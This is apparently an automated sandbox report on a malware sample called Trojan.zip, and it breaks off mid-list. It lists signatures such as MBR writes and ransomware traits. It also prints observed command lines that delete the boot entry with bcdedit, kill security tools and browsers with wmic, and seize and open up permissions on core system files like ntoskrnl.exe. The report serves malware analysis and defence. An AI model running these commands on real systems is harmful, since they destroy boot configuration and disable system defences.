Malware Analysis Report

2024-11-16 12:27

Sample ID 240316-vsl21sfc8s
Target Trojan.zip
SHA256 6a3e1833f43f867e153935467c1a7c1f7f9c2c4b7b4c716a54f959989f091bf2
Tags
bootkit discovery exploit persistence evasion ransomware upx spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral12

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral10

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral20

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral21

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral29

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral30

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral16

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral31

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral32

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral15

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral25

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral28

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral9

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral11

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral24

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral17

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral18

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral27

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral13

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral14

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral23

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral26

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral22

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral19

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6a3e1833f43f867e153935467c1a7c1f7f9c2c4b7b4c716a54f959989f091bf2

Threat Level: Known bad

The file Trojan.zip was found to be: Known bad.

Malicious Activity Summary

bootkit discovery exploit persistence evasion ransomware upx spyware stealer trojan

Windows security bypass

Disables RegEdit via registry modification

Drops file in Drivers directory

Possible privilege escalation attempt

Disables Task Manager via registry modification

Reads user/profile data of web browsers

Loads dropped DLL

UPX packed file

Checks computer location settings

ACProtect 1.3x - 1.4x DLL software

Modifies file permissions

Windows security modification

Executes dropped EXE

Writes to the Master Boot Record (MBR)

Adds Run key to start application

Modifies boot configuration data using bcdedit

Enumerates connected drives

Modifies WinLogon

Sets desktop wallpaper using registry

Drops file in Windows directory

Drops file in Program Files directory

Unsigned PE

Enumerates physical storage devices

Program crash

NSIS installer

Suspicious use of FindShellTrayWindow

Views/modifies file attributes

Modifies data under HKEY_USERS

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of AdjustPrivilegeToken

Kills process with taskkill

Modifies registry class

Modifies Internet Explorer settings

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Delays execution with timeout.exe

Modifies Internet Explorer start page

Suspicious use of SendNotifyMessage

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

System policy modification

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-16 17:15

Signatures

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral8

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win10v2004-20231215-en

Max time kernel

97s

Max time network

95s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

Signatures

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\drivers\rteth.sys C:\Windows\system32\cmd.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation C:\Windows\Temp\winconfig.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\Temp\winconfig.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\DetectKey.exe N/A

Modifies boot configuration data using bcdedit

Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A

Enumerates physical storage devices

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4084 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 4084 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 4084 wrote to memory of 2764 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe C:\Windows\Temp\winconfig.exe
PID 2764 wrote to memory of 2992 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2764 wrote to memory of 2992 N/A C:\Windows\Temp\winconfig.exe C:\Windows\system32\cmd.exe
PID 2992 wrote to memory of 3972 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2992 wrote to memory of 3972 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2992 wrote to memory of 3972 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\DetectKey.exe
PID 2992 wrote to memory of 4644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2992 wrote to memory of 4644 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2992 wrote to memory of 4064 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2992 wrote to memory of 4064 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 2992 wrote to memory of 3316 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3316 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4432 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4432 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 2332 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 2332 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3596 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3596 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4132 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4132 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 640 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 640 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4448 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4448 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4076 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4076 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3712 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3712 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3084 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3084 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2992 wrote to memory of 3548 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2992 wrote to memory of 3068 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3068 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4188 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cacls.exe
PID 2992 wrote to memory of 4188 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cacls.exe
PID 2992 wrote to memory of 3620 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3620 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 1212 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 1212 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3624 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3624 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3064 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3064 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3256 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3256 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 2348 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 2348 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 1704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 1704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4980 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4980 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 1564 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 1564 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4680 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 4680 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 1384 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 1384 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3796 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2992 wrote to memory of 3796 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0x07.exe"

C:\Windows\Temp\winconfig.exe

"C:\Windows\Temp\winconfig.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\7DAC.tmp\7DAD.tmp\7DBD.bat C:\Windows\Temp\winconfig.exe"

C:\Users\Admin\AppData\Roaming\DetectKey.exe

"C:\Users\Admin\AppData\Roaming\DetectKey.exe"

C:\Windows\system32\bcdedit.exe

bcdedit /delete {current}

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='mmc.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='PartAssist.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='control.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='Security Task Manager Protable.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='CCleaner.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='procexp64a.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='regedit.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='iexplore.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='chrome.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='firefox.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='opera.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='edge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='msedge.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='brave.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='wmplayer.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad++.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskmgr.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\hal.dll"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\winload.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\ntoskrnl.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\perfmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\resmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskkill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tasklist.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tskill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Program Files\Process Hacker 2"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\System32\drivers"

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\winload.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

